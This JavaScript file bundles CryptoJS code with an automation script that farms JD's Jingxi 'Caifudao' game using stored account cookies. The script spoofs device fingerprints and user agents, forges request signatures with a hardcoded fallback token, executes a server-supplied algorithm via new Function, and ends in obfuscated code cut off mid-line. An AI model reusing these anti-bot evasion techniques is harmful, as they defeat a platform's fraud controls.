blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛热气球"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = '', UA, UAInfo = {}; +$.appId = "92a36"; +$.hot = {} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let count = 0 + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + do { + count++ + console.log(`\n============开始第${count}次挂机=============`) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + $.info = {} + if (count === 1) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + $.hot[$.UserName] = false + } else { + UA = UAInfo[$.UserName] + } + // token = await getJxToken() + if ($.hot[$.UserName]) { + console.log(`操作过于频繁,跳过运行`) + continue + } + await cfd(); + let time = process.env.CFD_LOOP_SLEEPTIME ? (process.env.CFD_LOOP_SLEEPTIME * 1 > 1000 ? process.env.CFD_LOOP_SLEEPTIME : process.env.CFD_LOOP_SLEEPTIME * 1000) : 5000 + await $.wait(time) + } + } + } while (count < 25) +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + await queryshell() + } catch (e) { + $.logErr(e) + } +} + +// 卖贝壳 +async function querystorageroom() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(3000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=1`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 捡贝壳 +async function queryshell() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/queryshell`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} queryshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + $.canpick = true; + if (data.iRet === 0) { + for (let key of Object.keys(data.Data.NormShell)) { + let vo = data.Data.NormShell[key] + for (let j = 0; j < vo.dwNum && $.canpick; j++) { + await pickshell(`dwType=${vo.dwType}`) + await $.wait(3000) + } + if (!$.canpick) break + } + console.log('') + } else { + console.log(data.sErrMsg) + $.hot[$.UserName] = true + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function pickshell(body) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/pickshell`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pickshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + let dwName + switch (data.Data.strFirstDesc) { + case '亲爱的岛主~♥七夕快乐鸭♥': + dwName = '爱心珍珠' + break + case '捡到珍珠了,看起来很贵的样子': + dwName = '小珍珠' + break + case '捡到小海螺了,做成项链一定很漂亮': + dwName = '小海螺' + break + case '把我放在耳边,就能听到大海的声音了~': + dwName = '大海螺' + break + case '只要诚心祈祷,愿望就会实现哦~': + dwName = '海星' + break + case '阳光下的小贝壳会像宝石一样,散发耀眼的光芒': + dwName = '小贝壳' + break + case '啊~我可不想被清蒸加蒜蓉': + dwName = '扇贝' + break + default: + break + } + if (data.iRet === 0) { + console.log(`捡贝壳成功:捡到了${dwName}`) + } else if (data.iRet === 5403 || data.sErrMsg === '这种小贝壳背包放不下啦,先去卖掉一些吧~') { + console.log(`捡贝壳失败:${data.sErrMsg}`) + await $.wait(3000) + await querystorageroom() + } else { + $.canpick = false; + console.log(`捡贝壳失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + }; +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new 